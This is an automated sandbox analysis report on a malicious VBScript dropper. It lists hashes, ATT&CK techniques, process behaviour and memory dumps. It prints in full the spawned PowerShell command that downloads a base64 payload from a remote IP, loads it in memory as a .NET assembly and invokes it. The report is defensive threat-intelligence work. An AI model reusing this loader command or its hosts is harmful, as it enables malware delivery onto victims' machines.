8b54fd4b6fd11853474de7367c7bde98e5472d20c8a04dbd2727f3884734f8ef

Analysis

max time kernel
47s
max time network
53s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
04-10-2022 13:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DH0238999742.vbs
Size

437KB
MD5

a28574570548d916d36ddfa0ab962548
SHA1

6b0da48289ca73aa1732d211544665ca5dcf6a25
SHA256

8b54fd4b6fd11853474de7367c7bde98e5472d20c8a04dbd2727f3884734f8ef
SHA512

a26bb1cb28ea4c68f9f7a7d96094b41c5dc56ce67ea4abe1ce26857c005c4e0f35a72494e458e4cf4a2aae53910e4b89d20bcf4f09116deef26fa64144930488
SSDEEP

48:kklC0eHz7/m7rJv4PsfbuUbNbbldQbWUSS/Pe20NrFR4PLEvvldI:nl+/mrOeqUZldQbAMPKNrY4vvldI

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 812 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

812 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 812 powershell.exe

flow	pid	process
3	812	powershell.exe

pid	process
812	powershell.exe

description	pid	process
Token: SeDebugPrivilege	812	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1460 wrote to memory of 812	1460	WScript.exe	powershell.exe
PID 1460 wrote to memory of 812	1460	WScript.exe	powershell.exe
PID 1460 wrote to memory of 812	1460	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DH0238999742.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.efil/tt/681.17.612.581//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:812

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/812-55-0x0000000000000000-mapping.dmp

Download
memory/812-57-0x000007FEF4250000-0x000007FEF4C73000-memory.dmp

Filesize
10.1MB

Download
memory/812-59-0x00000000025A4000-0x00000000025A7000-memory.dmp

Filesize
12KB

Download
memory/812-58-0x000007FEF36F0000-0x000007FEF424D000-memory.dmp

Filesize
11.4MB

Download
memory/812-60-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/812-61-0x00000000025AB000-0x00000000025CA000-memory.dmp

Filesize
124KB

Download
memory/812-62-0x00000000025A4000-0x00000000025A7000-memory.dmp

Filesize
12KB

Download
memory/812-63-0x00000000025AB000-0x00000000025CA000-memory.dmp

Filesize
124KB

Download
memory/1460-54-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

Filesize
8KB

Download